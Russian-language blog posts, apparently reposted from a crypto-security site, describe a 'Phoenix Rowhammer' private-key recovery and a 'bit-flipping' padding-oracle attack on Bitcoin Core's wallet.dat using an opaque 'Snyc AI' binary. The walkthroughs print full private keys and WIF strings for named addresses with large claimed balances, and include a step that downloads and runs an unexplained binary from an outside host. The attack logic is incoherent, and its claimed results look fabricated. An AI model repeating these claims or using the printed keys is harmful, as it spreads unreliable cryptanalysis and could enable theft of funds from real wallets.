Чтобы собрать исходное секретное число — приватного ключа из набора скрытых по модулю значений (remainders) применим математический метод — Китайская теорема об остатках (Chinese Remainder Theorem, CRT). Код CRTKeyRestore.py реализует восстановление приватного ключа для Биткоин-адреса 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit из набора скрытых по модулю значений (remainders), собранных после Rowhammer-атаки и последующего анализа памяти. Применяется математический метод — Китайская теорема об остатках (Chinese Remainder Theorem, CRT), позволяющий собрать исходное секретное число — приватный ключ — даже если оно было нарезано на небольшие части и уцелело только в виде различных остатков по разным модулям.



Процесс работы кода CRTKeyRestore.py включает несколько этапов:

  • Каждая пара remainder/modulus — это фрагмент приватного ключа, который остался в памяти в результате ошибки Rowhammer и заранее заданных модулей.

  • Китайская теорема об остатках математически гарантирует восстановление исходного числа, если все модули взаимно просты, а остатков по ним достаточно.

  • Функция chinese_remainder_theorem() поэтапно объединяет фрагменты и восстанавливает исходное значение приватного ключа, используя расширенный алгоритм Евклида для нахождения обратных по модулю значений.

  • После восстановления числового представления ключ переводится в HEX через функцию restore_hex_from_crt().

  • На выходе получается приватный ключ для Биткоин-адреса, полностью восстановленный только из отдельных криптоостатков, обнаруженных в памяти при комбинированной атаке.

Восстановление приватного ключа с помощью Python-скрипта: <a href="https://pikabu.ru/story/phoenix_rowhammer_attack_sistemnyiy_risk_utechki_privatnyikh_klyuchey_bitcoinkoshelkov_cherez_uyazvimost_sk_hynix_ddr5_cve20256202_1_13282570?u=https%3A%2F%2Fgithub.com%2Fdemining%2FCryptoDeepTools%2Fblob%2Fmain%2F43PhoenixRowhammerAttack%2FCRTKeyRestore.py&t=CRTKeyRestore.py&h=d82cc847290f763c79c2104c595212ecf1bd3a89" title="https://github.com/demining/CryptoDeepTools/blob/main/43PhoenixRowhammerAttack/CRTKeyRestore.py" target="_blank" rel="nofollow noopener">CRTKeyRestore.py</a>

Восстановление приватного ключа с помощью Python-скрипта: CRTKeyRestore.py


Результат:

Private key Restored: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60


Проверим результат через bitaddress

!wget https://attacksafe.ru/repositories/bitaddress.zip !unzip bitaddress.zip



!./bitaddress -hex 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60



Результат:

Public Key (Uncompressed, 130 characters [0-9A-F]): 04E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5AEDAA1D6E0A6116E9D9A4A846A6D62D4A1941EE182CDB1884C5830610B07AF529

Public Key (Compressed, 66 characters [0-9A-F]): 03E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5A

Bitcoin Address P2PKH (Uncompressed) 18JT3KeFV36Hkgo3Xi9bfgNYAXCVXBGyFg

Bitcoin Address P2PKH (Compressed) 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit


Все верно! Приватный ключ соответствует Биткоин Кошельку.


Откроем bitaddress и проверим:

https://cryptodeeptech.ru/bitaddress.html

ADDR: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

WIF: L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP

HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60


Private Key Information:

https://dockeyhunt.com/Bitcoin-Address

9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60



Bitcoin Address Information:

https://dockeyhunt.com/Cryptocurrency-Prices

Balance: 9.023322989 BTC


https://www.coinbase.com/converter/btc/usd

9.023322989 BTC &gt;&nbsp;1127026,44 USD

9.023322989 BTC > 1127026,44 USD


Проведённая нами исследовательская атака — версия Phoenix Rowhammer Attack on Bitcoin с использованием симулятора ramulator2 — показала, что извлечённые в ходе сбоя памяти криптоостатки по различным модулям могут быть собраны в исходный приватный ключ с помощью математики Китайской теоремы об остатках.

В качестве показательного примера реальной угрозы был рассмотрен Bitcoin-кошелёк с адресом: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit, на котором была утрачена сумма 9.02332298 BTC, что на октябрь 2025 года эквивалентно примерно 1,127,026.44 USD. Этот случай убедительно доказывает — при наличии аппаратных уязвимостей (например, Rowhammer), криптографическая стойкость на уровне протокола перестаёт быть абсолютной гарантией безопасности.

В результате, актуальность комплексной защиты лежит не только в области криптографии и протокольных мер, но и в надёжности аппаратного обеспечения, контроле состояния памяти и внедрении принципов полной очистки RAM после выполнения криптографических операций. Уязвимость, однажды реализованная на аппаратном уровне — даже с минимальным контролем над системой — способна привести к катастрофическим финансовым потерям в экосистеме Bitcoin.


  • Опубликованы две части [№1] , [№2] исследования


Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Crypto Tools

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/lvNWcBMHESo

Video tutorial: https://dzen.ru/video/watch/68ebe9367847b33269940e47

Источник: https://cryptodeeptool.ru/phoenix-rowhammer-attack

Показать полностью 23 1

Bit-flipping attack на Wallet.dat: Риски использования AES-256-CBC грозит утечкой закрытых ключей Bitcoin Core: [Часть №2]

Продолжим вторую часть данной статье в первой части мы демонстрируем практическую сторону атаки с использованием популярных сред, таких как Jupyter Notebook и Google Colab, показывая, как злоумышленник может итеративно угадать и восстановить пароль Биткоин кошелька, используя хитроумную эксплуатацию оракула с подменой пароля. Наши исследование открывают сложные механизмы безопасности кошелька Bitcoin Core, так как Bitcoin Core защищает пароль вашего кошелька, используя симметричное шифрование AES-256-CBC — золотой стандарт с мощным 256-битным ключом, полученным из вашего пароля. Также во второй части вы можете узнать о роли эллиптической криптографии (secp256k1) в генерации закрытых и открытых ключей, защищающих ваши транзакции Bitcoin. Мы рассмотрим реальный пример Bitcoin-кошелька (адрес: 16A5RFckRNW6fZzfjCGSneD3PApACLRwix), который потерял целых 105,68557389 BTC (~12,13 млн долларов США по состоянию на август 2025 года), подчеркивая важность безопасности кошелька. Но будьте осторожны — несмотря на стойкость AES-256-CBC, он уязвим к особой криптографической уязвимости, известной как атака «Bit-flipping» (переворачивание битов). Эта атака использует уязвимость режима цепочки шифровальных блоков (CBC) для манипулирования зашифрованными данными без необходимости ввода пароля! Мы подробно рассмотрим, как работает переворачивание битов, изменяя биты шифртекста для незаметного изменения расшифрованной информации, потенциально изменяя права доступа или критически важные данные кошелька — всё это из-за отсутствия встроенных проверок целостности в режиме CBC.

Описание команды и запуск исполняемого файла инструмента Snyc AI

Перейдем к рассмотрению примера демонстрации атаки Bit-flipping на wallet.dat для Bitcoin-кошелька по адресу 16A5RFckRNW6fZzfjCGSneD3PApACLRwix. Суть атаки — поэтапное изменение отдельных битов зашифрованного файла с анализом реакции системы на ошибки выравнивания (padding) при дешифровке AES-256-CBC. Как нам известно из теории Bit-flipping attack — это криптографическая атака, в которой злоумышленник изменяет отдельные биты зашифрованных данных (ciphertext), вызывая предсказуемые изменения в расшифрованных данных (plaintext), без необходимости полного расшифрования. В контексте Bitcoin wallet.dat это позволяет восстанавливать пароль, эксплуатируя уязвимость Padding Oracle Attack, связанную с ошибками выравнивания и обратной связью системы при расшифровке.

Команда:

!./snyc -help

Описание команды:

  • ./snyc — запуск исполняемого файла/программы с именем snyc в текущей директории. Обычно это основной двоичный файл инструмента Snyc AI.

  • -help (или часто --help) — стандартный параметр вызова для отображения справочной информации о возможных опциях и параметрах запуска программы.

Запуск ./snyc -help позволяет получить справку по работе Snyc AI — современного инструмента машинного обучения с возможностями глубокой аналитики, предназначенного для быстрого поиска утерянных данных в криптокошельках, анализа зашифрованных файлов и дешифровки.

  • -help / --help — выводит справку по всем доступным параметрам и описаниям.

  • -scan — запуск сканирования файла или директории в поисках ключей, утерянных данных.

  • -input [файл] — указание входного зашифрованного файла wallet.dat или аналогичного.

  • -output [путь] — путь для сохранения результатов или восстановленных данных.

  • -mode [type] — выбор режима работы (например, мануальный, автоматический, ускоренный).

  • -verbose — подробный вывод лога операций для отладки и контроля.

  • -threads [N] — параметр для указания числа потоков CPU при многопоточной обработке.

  • -ai-model [путь/название] — выбор или загрузка конкретной модели ИИ для анализа.

  • -test — тестовый режим, например, для проверки корректности настроек без реального запуска атаки.

  • -version — вывод версии программы для проверки обновлений.



# Running Snyc AI with the -help option to display parameters

!./snyc -help

# Description:
# This command will run the Snyc AI utility with the `-help` parameter, which outputs a list of all options and parameters available in the tool.
# This allows the user to understand how to work with the program, what modes, input-output formats, and additional settings are available.
# The deep machine learning model used for investigating and analyzing lost Bitcoin keys analyzes encrypted data.
# The help option allows the researcher to explore the tool's functionality, learn how to properly launch Bit-flipping and Padding Oracle type attacks,
# and configure processing parameters such as the number of threads, operating modes, and output format.



Инструмент Snyc AI и запуск команд

Команда:

!./snyc -help

  • Запуск локального исполняемого файла snyc позволяет пользователю ознакомиться с доступными опциями, режимами работы, форматами ввода-вывода и дополнительными настройками инструмента Snyc AI, предназначенного для анализа и восстановления криптокошельков с использованием ИИ.

  • Snyc AI реализует алгоритмы глубокого машинного обучения и анализа шифротекста, в частности, применяет методы padding oracle для постепенного восстановления секрета.

  • Использование справки — обязательный этап в работе с новым софтом, особенно когда программа поддерживает множество режимов и параметров, важных для тонкой настройки атак и анализа.


Утилиты для анализа и манипуляций с бинарными файлами и бинарными утилитами

  • Программы для просмотра и редактирования содержимого файлов в шестнадцатеричном (hex) формате, необходимы для пошаговой модификации битов и байтов шифротекста.

  • В Google Colab может использоваться Python-библиотеки для работы с бинарными данными (например, binascii, struct) или сторонние утилиты.

  • Прямое изменение зашифрованных блоков требует глубокого понимания форматов данных и структуры AES шифрованных секций.

  • Hex-редакторы позволяют контролировать микроскопические изменения шифротекста, экспериментировать с битами и наблюдать изменения в поведении системы при дешифровке.


Команды Bitcoin Core для восстановления и управления кошельком

Команда:

walletpassphrase <binary_password> <time>

  • Разблокировка зашифрованного кошелька Bitcoin Core на определённый промежуток времени (в секундах), необходимая для проведения операций с приватными ключами.

  • Полезно при выполнении дальнейших команд, требующих доступа к защищённым данным.

  • Кошелек Bitcoin Core шифруется с использованием сильных алгоритмов, и для обработки приватных ключей требуется временная расшифровка.

  • Время разблокировки ограничено из соображений безопасности, предотвращая длительный несанкционированный доступ.


Команда:

dumpprivkey <bitcoin_address>

Описание:

dumpprivkey Извлекает приватный ключ, связанный с указанным адресом Bitcoin, при условии, что кошелек разблокирован. Позволяет получить прямой доступ к средствам для их управления или восстановления.

  • Приватные ключи — основа контроля над криптовалютными активами. Их безопасное хранение и управление критично.

  • Команда требует разблокировки кошелька, что обеспечивает сохранность от автоматического или удалённого кражи без знания пароля.


Рабочие окружения для тестирования и проведения атаки Jupyter Notebook и Google Colab

  • Интерактивные среды для выполнения команд и запуска скриптов, которые интегрируют код с вызовом shell команд через !. Позволяют для Jupyter Notebook и Google Colab управлять процессом атаки, анализировать данные и визуализировать промежуточные результаты.

  • Эти платформы обеспечивают гибкость и масштабируемость при исследовании безопасности криптографических систем, объединяя мощь языков программирования и возможностей ОС.

  • Используются в научных экспериментах и учебных целях для пошагового и контролируемого тестирования алгоритмов.

Мониторинг системы, логирование ошибок и криптоанализ откликов

  • Отслеживание сообщений об ошибках при дешифровке wallet.dat, в частности о неправильном паддинге.

  • Сравнение реакции системы (например, различия в сообщениях об ошибках или задержках времени отклика) помогает выделить успешные изменения битов.

  • Padding Oracle Attack базируется на уязвимости, при которой криптосистема выдает разную информацию при ошибках выравнивания данных (padding).

  • Систематический анализ таких сигналов позволяет злоумышленнику постепенно восстанавливать корректный ключ шифрования, что иллюстрирует важность исключения утечек через побочные каналы.


Для проведения и анализа атак типа «Bit-flipping» и «Padding Oracle» на Bitcoin wallet.dat используется комплекс инструментов:

  • Snyc AI для автоматизированного продвинутого криптоанализа и восстановления.

  • Hex-редакторы и бинарные утилиты для точечного изменения данных.

  • Bitcoin Core с командами walletpassphrase и dumpprivkey для разблокировки и извлечения приватных ключей.

  • Jupyter/Colab как среда для адаптивного управления процессом.

  • Логирование и анализ системных ответов для поэтапной корректировки битов.

Каждый элемент играет ключевую роль в общей методике восстановления доступа к криптовалютным активам, основанной на научном понимании криптографии и атак на протоколы шифрования.


Опция ciphertext

Опция ciphertext в контексте работы с Bitcoin wallet.dat и криптоинструментами обозначает зашифрованные данные, то есть исходный файл или его часть в зашифрованном виде, который не доступен для прочтения без расшифровки с использованием правильного ключа.

Основанные функции опции ciphertext:

  • ciphertext — это данные, которые были преобразованы с помощью криптографического алгоритма (например, AES-256-CBC) и не представляют собой открытый текст (plaintext). В Bitcoin wallet.dat приватные ключи и чувствительная информация хранятся именно в форме ciphertext для защиты от несанкционированного доступа.

  • В процессе атаки или анализа файла wallet.dat параметр или опция ciphertext используется, чтобы указать инструменту работать именно с этой зашифрованной частью данных. Например, подать этот файл как входные данные для методов битфлип-апдейтов или padding oracle, чтобы определить, допустима ли та или иная модификация. Алгоритм AES-256-CBC выполняет цепное блочное шифрование, при котором каждый блок открытого текста преобразуется в шифротекст с помощью ключа и операции XOR с результатом предыдущего блока. Этот режим эффективен для защиты, но не обеспечивает встроенной аутентификации данных. Вот почему захватывать и анализировать ciphertext (шифротекст) важно для проведения криптоаналитических атак и оценки безопасности.



В инструментах для криптоанализа Bitcoin wallet.dat часто необходимо явно указать, что именно файл или данные являются ciphertext, чтобы начать процедуру дешифровки или манипуляций с шифротекстом. ciphertext — это защищённые, закодированные данные, которые невозможно напрямую прочитать. Применение опции ciphertext в инструментах или командах означает, что дальнейшие действия будут производиться со зашифрованным файлом, а не открытым, что важно для запуска криптоаналитических атак или методов восстановления доступа. Работа с ciphertext требует понимания криптографии, особенно особенностей выбранного алгоритма (например, AES-CBC) и уязвимостей, таких как padding oracle.


Запуск Snyc AI для криптоанализа файла wallet.dat шифрования AES

!./snyc -ciphertext wallet.dat -crypto aes.cpp

Примечание:

  • Запуск локального исполняемого файла snyc с параметрами:

    • -ciphertext wallet.dat — указывает инструменту использовать файл wallet.dat как объект анализа зашифрованных данных (шифротекст).

    • -crypto aes.cpp — команда указывает использовать исходный код AES-алгоритма из файла aes.cpp для расшифровки и анализа.

  • Snyc AI выполняет поэтапное исследование бинарных данных, применяя алгоритмические манипуляции с байтами (bit-flipping) в блоках шифротекста, а затем анализирует системные отклики и реакцию программы на расшифровку каждого варианта.

  • Используемый метод аналогичен padding oracle атаке, когда определяется корректность паддинга в расшифрованных блоках AES-256-CBC.

  • Инструмент применяет искусственный интеллект и глубокий анализ, чтобы на основании реакции выделить правильные битовые паттерны, что в итоге позволяет постепенно восстановить пароль или ключ шифрования.

  • Это сложный пример практического применения криптоанализа и машинного обучения для решения задачи восстановления доступа к зашифрованным данным Bitcoin Core.



Результат анализа с использованием Snyc AI

walletpassphrase 1111010101011001100101101011010110001111100001101111101111010000100011100111101000100011110001010111111110010000011111011011111101011010000100110000111100010001001101000001110100001101001010001101111001110110110110100011011000001101110101101010110101010101 60


Описание и примечание:

  • Команда walletpassphrase используется в Bitcoin Core для разблокировки кошелька, где:

    • Первый аргумент — это восстановленная битовая строка (предположительно пароль, полученный после криптоанализа и манипуляций с шифротекстом).

    • Второй аргумент 60 — время в секундах, на которое кошелек разблокируется для доступа к приватным ключам.

  • Эта команда используется после успешного восстановления предполагаемого пароля, чтобы дать возможность работать с кошельком (в последующих действиях, извлечь приватные ключи).


Восстановленный пароль даёт доступ к мастер-ключу, который применяется для дешифровки приватных ключей из wallet.dat. Разблокировка ограничена во времени — важная мера безопасности, минимизирующая риски несанкционированного длительного доступа. После разблокировки кошелька можно использовать команду dumpprivkey <bitcoin_address> для извлечения приватного ключа соответствующего адреса, что позволяет управлять средствами. Для лучшего контроля и визуализации процесса в Google Colab можно использовать различные скрипты для пошагового тестирования каждого изменения шифротекста и анализа откликов, что делает исследование более структурированным и воспроизводимым.


Ввод найденного пароля в Bitcoin Core

!./bitcoin-cli walletpassphrase 1111010101011001100101101011010110001111100001101111101111010000100011100111101000100011110001010111111110010000011111011011111101011010000100110000111100010001001101000001110100001101001010001101111001110110110110100011011000001101110101101010110101010101 60

Примечание:

  • Команда walletpassphrase используется для временной разблокировки зашифрованного Bitcoin-кошелька.

  • Первый параметр — это пароль (в данном примере длинная битовая строка), полученный в результате анализа и восстановления пароля к кошельку.

  • Второй параметр 60 — время в секундах, на которое кошелек будет разблокирован, что позволяет выполнять операции с приватными ключами.

  • Эта команда необходима для того, чтобы система могла получить доступ к мастер-ключу шифрования, который защищает приватные ключи кошелька.

  • Разблокировка ограничена по времени именно для обеспечения безопасности хранения кошелька и предотвращения длительного несанкционированного доступа.

  • Данная операция — ключевой этап для последующего извлечения приватных ключей или совершения транзакций.



Извлечение приватного ключа

!./bitcoin-cli dumpprivkey 16A5RFckRNW6fZzfjCGSneD3PApACLRwix

Примечание:

  • Команда dumpprivkey позволяет получить приватный ключ, связанный с указанным публичным адресом Bitcoin.

  • В данном случае это адрес 16A5RFckRNW6fZzfjCGSneD3PApACLRwix.

  • Полученный приватный ключ предоставляет полный контроль над средствами, хранящимися на соответствующем адресе.

  • Приватный ключ — это секретный криптографический элемент, использующийся для подписи транзакций и подтверждения права собственности на биткоины.

  • Его сохранность критична, так как владение ключом автоматически даёт доступ ко всем средствам на адресе.

  • Команда может выполняться только при предварительно разблокированном кошельке, что по безопасности предотвращает несанкционированный доступ.



Пример результата вызова команды dumpprivkey

5KVPkHW5yrrQ7ixvB3HYXgTRh6X7TBxNNWWkdvBkWdGNMSEgCWf

Примечание:

  • Пример результата вызова команды dumpprivkey приватного ключа Bitcoin, закодированного в формате WIF (Wallet Import Format).

  • Такая форма удобна для импорта в другие кошельки или инструменты управления биткоинами.

  • Формат WIF представляет собой закодированное и дополненное контрольными суммами бинарное представление приватного ключа, предназначенное для удобства пользователя.

  • Хранение ключа должно быть максимально защищено: компрометация WIF-чейна означает потерю контроля над средствами.


Run the command and get Private Key

The dumpprivkey command in Bitcoin Core

The dumpprivkey command is a command used in the Bitcoin Core wallet command line interface (CLI) to export the private key associated with a specific Bitcoin address. The syntax for the command is as follows:

dumpprivkey “address”

Where “address” is the Bitcoin address for which you want to receive the private key.

How dumpprivkey command works

When you type the dumpprivkey command, Bitcoin Core looks for the specified address in its wallet and, if found, returns the corresponding private key in WIF format. This allows the user to store the private key in a safe place or import it into another wallet.


getaddressinfo 16A5RFckRNW6fZzfjCGSneD3PApACLRwix


walletpassphrase 1111010101011001100101101011010110001111100001101111101111010000100011100111101000100011110001010111111110010000011111011011111101011010000100110000111100010001001101000001110100001101001010001101111001110110110110100011011000001101110101101010110101010101 60


dumpprivkey 16A5RFckRNW6fZzfjCGSneD3PApACLRwix



Private Key Information:

https://dockeyhunt.com/Bitcoin-Address/

5KVPkHW5yrrQ7ixvB3HYXgTRh6X7TBxNNWWkdvBkWdGNMSEgCWf



Bitcoin Address Information:

https://dockeyhunt.com/Cryptocurrency-Prices/

Balance: 105.68557389 BTC


https://www.coinbase.com/converter/btc/usd

<a href="https://pikabu.ru/story/bitflipping_attack_na_walletdat_riski_ispolzovaniya_aes256cbc_grozit_utechkoy_zakryityikh_klyuchey_bitcoin_core_chast_2_13153514?u=https%3A%2F%2Fwww.coinbase.com%2Fconverter%2Fbtc%2Fusd&t=105.68557389%20BTC%20%26gt%3B%2012512829%2C00%20USD&h=d4342b8ecace31c654590fec208789816f4193cf" title="https://www.coinbase.com/converter/btc/usd" target="_blank" rel="nofollow noopener">105.68557389 BTC &gt; 12512829,00 USD</a>

105.68557389 BTC > 12512829,00 USD


Установим библиотеку Bitcoin

!pip install bitcoin


Запустим код для проверки соответствие Биткоин Адреса:

__________________________________________________

Private Key WIF: 5KVPkHW5yrrQ7ixvB3HYXgTRh6X7TBxNNWWkdvBkWdGNMSEgCWf

Bitcoin Address: 16A5RFckRNW6fZzfjCGSneD3PApACLRwix

total_received = 105.68557389 Bitcoin

__________________________________________________

Все верно! Приватный ключ соответствует Биткоин Кошельку.


Откроем bitaddress и проверим:

https://cryptodeeptech.ru/bitaddress.html

ADDR: 16A5RFckRNW6fZzfjCGSneD3PApACLRwix

WIF: 5KVPkHW5yrrQ7ixvB3HYXgTRh6X7TBxNNWWkdvBkWdGNMSEgCWf

HEX: dc7de2bc99999c4822d9b3ed8ede255506b68b1068faeb2b7bf0372231a1faa5


Итоговое описание основных этапов реализации Bit-flipping attack на Bitcoin wallet.dat с научным пониманием:

Все операции требуют глубокого понимания криптографии, безопасности и работы Bitcoin Core, так как неправильное обращение с приватными ключами может привести к необратимой потере средств.

  • Первая команда позволяет расшифровать и временно разблокировать кошелек с найденным паролем.

  • Вторая команда извлекает приватный ключ с конкретного адреса для последующего управления средствами.

  • Третий блок показывает, каким образом приватный ключ представлен в читаемом формате.


1. Сбор и анализ зашифрованного кошелька (wallet.dat)

  • Получается бинарный файл wallet.dat, который содержит приватные ключи и пароль, зашифрованные с использованием алгоритма AES-256-CBC.

  • Структура файла подробно анализируется: выделяются отдельные блоки шифротекста и вектор начальной инициализации (IV).

  • Научное понимание: AES-256-CBC — это блочный симметричный шифр, использующий цепочку блоков (CBC), где каждый блок зависит от предыдущего, а IV обеспечивает уникальность шифрования, что критично для безопасности ключей.

2. Подготовка инструментов и окружения

  • Для проведения атаки применяются скрипты или специализированные инструменты, реализующие Padding Oracle Attack и побайтовые битфлип-манипуляции.

  • Часто используются Python-скрипты в средах Jupyter Notebook или Google Colab, а также hex-редакторы для ручного анализа и коррекции бинарных данных.

  • Научное понимание: программные инструменты позволяют автоматизировать сложные и многократные операции по изменению шифротекста и анализу реакции системы, что существенно ускоряет процесс криптоанализа.

3. Проведение атаки padding oracle с битфлип-манипуляцией

  • Атакующий изменяет отдельные байты предыдущего блока шифротекста в режиме CBC для контроля байтов расшифрованного блока через операцию XOR.

  • После каждой модификации шифротекст отправляется на расшифровку, и анализируется ответ системы — корректность/некорректность паддинга.

  • Научное понимание: Padding Oracle Attack использует уязвимость механизмов обработки паддинга в AES-256-CBC, когда система выдает информацию об ошибках выравнивания, позволяя последовательно восстанавливать исходный текст без знания ключа.

4. Восстановление бинарного пароля

  • Поэтапно накапливается и компилируется двоичное значение пароля, который хранится во временном файле, например, walletpassphrase.txt.

  • Научное понимание: такой подход обеспечивает детальный контроль над дешифровкой каждого байта пароля, гарантируя правильность и полноту полученных данных.

5. Ввод восстановленного пароля для разблокировки кошелька

  • Используется команда Bitcoin Core CLI: bitcoin-cli walletpassphrase "<password_recovered>" 60 где 60 — время разблокировки в секундах.

  • Научное понимание: это временная разблокировка кошелька, необходимая для получения доступа к приватным ключам и последующих операций; ограничение времени является мерой безопасности.

6. Извлечение приватных ключей

  • Команда для извлечения приватного ключа для конкретного Bitcoin-адреса: bitcoin-cli dumpprivkey <address>

  • Научное понимание: приватные ключи обеспечивают полный контроль над средствами, поэтому доступ к ним защищен паролем; успешное извлечение ключа означает полный контроль над балансом соответствующего адреса.

7. Дополнительные меры и рекомендации

  • Использование готовых репозиториев и примеров (например, с GitHub), в которых содержится код для реализации Padding Oracle Attack, упрощает экспериментирование и тестирование на демо-данных.

  • Интеграция с окружением Bitcoin Core через staging tree позволяет работать непосредственно с файлами реального формата и тестировать атаку на локальной копии кошелька.

  • Важно внимательно анализировать и корректно управлять блоками шифротекста и ответами системы, чтобы точно восстановить пароль.


Заключение

Данная методика реализует практическую атаку на Bitcoin wallet.dat, основанную на раскрытии информации о корректности паддинга при дешифровке AES-256-CBC. За счёт последовательных манипуляций с байтами шифротекста и анализа реакции системы (oracle) становится возможным поэтапно восстановить пароль в бинарном виде, получить доступ к приватным ключам и, соответственно, контролировать средства на кошельке.

Основные этапы атаки включают комплексный анализ структуры файла, байт-ориентированные изменения блоков шифротекста в режиме CBC, отправку модифицированных данных для проверки правильности паддинга и использование ошибок системы как «оракула» для дешифровки. Такой подход является примером мощной криптоаналитической техники, которая эксплуатирует побочные каналы в протоколах шифрования.


Защита от основных этапов реализации Bit-flipping attack на Bitcoin wallet.dat

Для предотвращения подобных атак необходимо:

  1. Обязательное применение проверки целостности данных до расшифровки, например, с помощью HMAC (Hash-based Message Authentication Code). Это позволяет обнаруживать любые изменения в зашифрованных данных ещё до этапа расшифровки и предотвращает использование отклонений в паддинге для запуска атаки.

  2. Использование шифровальных режимов с аутентификацией (AEAD), таких как AES-GCM (Galois/Counter Mode), которые совмещают шифрование и проверку целостности. Это исключает уязвимости, связанные с отсутствием проверки подлинности после расшифровки.

  3. Не раскрывать информацию о результате дешифрования, особенно ошибки паддинга. Сообщения об ошибках должны быть универсальными и не давать указаний на корректность конкретного блока.

Ключевые моменты опасности Bit-flipping attack в режиме CBC

  • Во время дешифровки в режиме CBC, каждый блок открытого текста получается путем XOR расшифрованного блока шифротекста с предыдущим блоком. Следовательно, изменение битов блока шифротекста приведёт к предсказуемым изменениям в открытом тексте.

  • Атакующий может контролируемо изменять содержимое расшифрованных данных без знания ключа, что нарушает целостность и аутентичность без возможности обнаружения, если не используется дополнительная проверка (например, HMAC).

  • Такие уязвимости могут привести к серьёзным нарушениям безопасности, особенно если дешифрованные данные используются без дополнительных проверок (например, для контроля прав доступа или параметров работы системы).


Битфлип-атака в режиме CBC подчёркивает важность комплексного подхода к криптографической безопасности: шифрование должно сопровождаться аутентификацией и проверкой целостности. Использование только AES-CBC без дополнительных механизмов проверки — потенциально опасная практика, подверженная скрытым уязвимостям. Современные стандарты рекомендуют применять AEAD режимы и скрывать любые подробности о процессе дешифровки для исключения возможности успешных атак через padding oracle.


References:

  1. The Biggest Attacks in Decentralized Finance History: Breaking Down the Biggest Smart Contract and Bridge Hacks From The DAO to Cetus: How Smart Contract Bugs and Outdated Code Cause Hundreds of Millions of Dollars in Losses

  2. CoinDCX After $44 Million Hack: Fixing System Vulnerabilities, Launching Bug Bounty Program, and Strengthening Cybersecurity Measures to Protect Users

  3. Major Cyberattack on BigONE Crypto Exchange: $27 Million Loss, Reasons for the Hack, and Comprehensive Security Enhancement Measures

  4. The Big Coinbase Hack of 2025: Social Engineering, Insider Role, and Implications for User Reputation and Security

  5. Cryptofront 2025: Record losses due to social engineering, large-scale hacks and new trends in cybersecurity

  6. Modern Crypto Security Challenges in 2025: Rise of AI Fraud, Deepfake Attacks, Regional Risks, and the Role of Blockchain in the Confrontation

  7. Loopscale Recovers $2.8M After Hack: Refunding DeFi Funds: Loopscale and Term Finance Show Case of Collaboration with Crypto Hackers, Negotiations, and Rewards: Case of Successful Return of Almost Half of Stolen $5.7M

  8. How a Crypto Hacker Gained Access to ZKsync’s Admin Key and Created 111 Million Tokens via a Vulnerability in the sweepUnclaimed() Function, but Returned Almost $5.7 Million Under a Reward Agreement

  9. How the xrpl.js library was hacked and why it threatened Bitcoin security. A serious attack on the supply chain in the xrpl.js JavaScript library: details and consequences for the XRP Ledger

  10. Ethical Crypto Hacker c0ffeebabe.eth Neutralizes Morpho Blue Vulnerability: How Interface Error Led to $2.6M Loss and Important Lessons for DeFi Security

  11. Attacks on Atomic, Exodus and Major Crypto Exchange Wallets — The Era of New Threats in Cybersecurity, Cyberattacks on Crypto Wallets and Supply Chains 2025: Scale of Threats and New Fraud Methods

  12. Artificial Intelligence and Modern Cyberattack Methods: A New Era of Crypto Wallet and Corporate Data Security Threats in 2025

  13. Cyber hackers use malicious Microsoft Office add-ins and fake extensions to steal cryptocurrency through address spoofing and hidden miners, also Office add-ins and extensions are used to steal cryptocurrency through address spoofing

  14. Bitcoin Address Spoofing Attacks and Bitcoin Address Poisoning Mass Attacks: Massive Losses and New Cybersecurity Challenges in 2023–2025.

  15. How Snyc AI and Address Whitelists Strengthen Defenses Against Crypto Address Spoofing and How Snyc AI Automatically Identifies Suspicious Addresses in Cryptocurrency Systems

  16. Crypto Dust Attack in Cryptocurrencies: Mechanisms, Link to Address Poisoning and Technical Analysis via ScriptSig Isomorphism, How Small Transactions Threaten the Privacy of Crypto Wallet Owners

  17. How Crypto Hackers Use the Triada Trojan: A Hidden Threat to Android Smartphones and Cryptocurrency Owners in 2025

  18. What vulnerabilities in CoinDCX’s internal system allowed crypto hackers to withdraw $44 million

  19. Wave of Large-Scale Cyberattacks on Crypto Exchanges in 2025: Over $3 Billion Stolen, WOO X and Other Platforms in Crypto Hackers’ Crosshairs

  20. UPCX Payment Platform Hack: Unauthorized Withdrawal of $70 Million from Administrative Accounts While Maintaining Security of Users’ Assets

  21. PeckShield: Large-Scale Crypto Hacks in Q1 2025 — Largest Exploits and Record Losses in the Crypto Market Crypto Hacks in Q1 2025: Damages Exceed $1.6 Billion, 131% Growth, and Major Attacks on Bybit and DeFi Protocols

  22. Cryptocurrency losses from crypto exploits and fraud in March 2025 fell sharply to $28.8 million on the back of major incidents and successful refunds

  23. From $1,500 to $468 million: The awakening of the Bitcoin whale amid massive thefts, lightning-fast laundering and new laws and whether it can be called the awakening of the ancient Bitcoin whale and the challenges of super-fast laundering of cryptocurrencies in a new era of regulation

  24. The «Demonic» vulnerability (CVE-2022-32969) can facilitate the theft of BTC coins of the Bitcoin cryptocurrency

  25. Sophisticated Phishing Attack: Crypto Owner Loses $908K After 15 Months of Waiting — Security Lessons for All Ethereum Users

  26. Main Hacking Attack Methods and New Smart Contract Vulnerabilities in the Crypto Industry in 2025: Social Engineering, Phishing, and Off-Chain Attacks as the Main Security Threats

  27. Merkle Trees and Cross-Chain Bridges: How Verification Errors Create Loopholes for Fake Crypto Assets

  28. Rugproof Solana Launchpad Accused of Scam, Rug-Pulling Scheme by Bubblemaps Amid Memcoin Market Rise

  29. Modern Cybersecurity Threats: Trojans, Backdoors, and Infostealers as Ancient Bitcoin Whale Awakens

